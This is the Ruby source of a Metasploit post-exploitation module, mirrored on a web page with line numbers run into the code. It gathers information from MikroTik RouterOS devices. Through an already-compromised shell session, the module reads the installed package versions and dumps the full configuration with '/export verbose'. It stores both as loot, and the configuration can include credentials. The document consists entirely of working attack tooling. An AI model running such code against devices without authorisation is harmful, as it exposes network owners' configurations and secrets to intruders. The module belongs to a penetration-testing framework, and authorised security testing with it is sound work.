Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/networking/gather/enum_mikrotik.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Auxiliary::Mikrotik78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Mikrotik Gather Device General Information',13'Description' => %q{14This module collects Mikrotik device information and configuration.15This module has been tested against RouterOS 6.45.9.16},17'License' => MSF_LICENSE,18'Author' => ['h00die'],19'Platform' => ['mikrotik'],20'SessionTypes' => ['shell'],21'Notes' => {22'Stability' => [CRASH_SAFE],23'SideEffects' => [IOC_IN_LOGS],24'Reliability' => []25}26)27)28end2930def run31# Get device prompt32prompt = session.shell_command("/\n")3334# https://wiki.mikrotik.com/wiki/Manual:Console#Safe_Mode35if prompt.include?('<SAFE>') # safe mode from ctr+x36vprint_status('In safe mode')37end3839# Get version info40print_status('Getting version information')41version_out = session.shell_command("/system package print without-paging\n")4243ver_loc = store_loot('mikrotik.version',44'text/plain',45session,46version_out.strip,47'version.txt',48'Mikrotik Version')4950# Print the version of VERBOSE set to true.51vprint_good(version_out)52vprint_good("Version information stored in to loot #{ver_loc}")5354# run additional information gathering55enum_configs56end5758# run commands found in exec mode under privilege 159def enum_configs60host = session.session_host61port = session.session_port62exec_commands = [63{64'cmd' => '/export verbose',65'fn' => 'get_config',66'desc' => 'Get Device Config on Mikrotik Device'67},68]69exec_commands.each do |ec|70command = ec['cmd']71cmd_out = session.shell_command(command).gsub(/#{command}/, '')72print_status("Gathering info from #{command}")73# detect if we're in pagination and get as much data as possible74if ec['fn'] == 'get_config'75mikrotik_routeros_config_eater(host, port, cmd_out.strip)76else77cmd_loc = store_loot("mikrotik.#{ec['fn']}",78'text/plain',79session,80cmd_out.strip,81"#{ec['fn']}.txt",82ec['desc'])83vprint_good("Saving to #{cmd_loc}")84end85end86end87end888990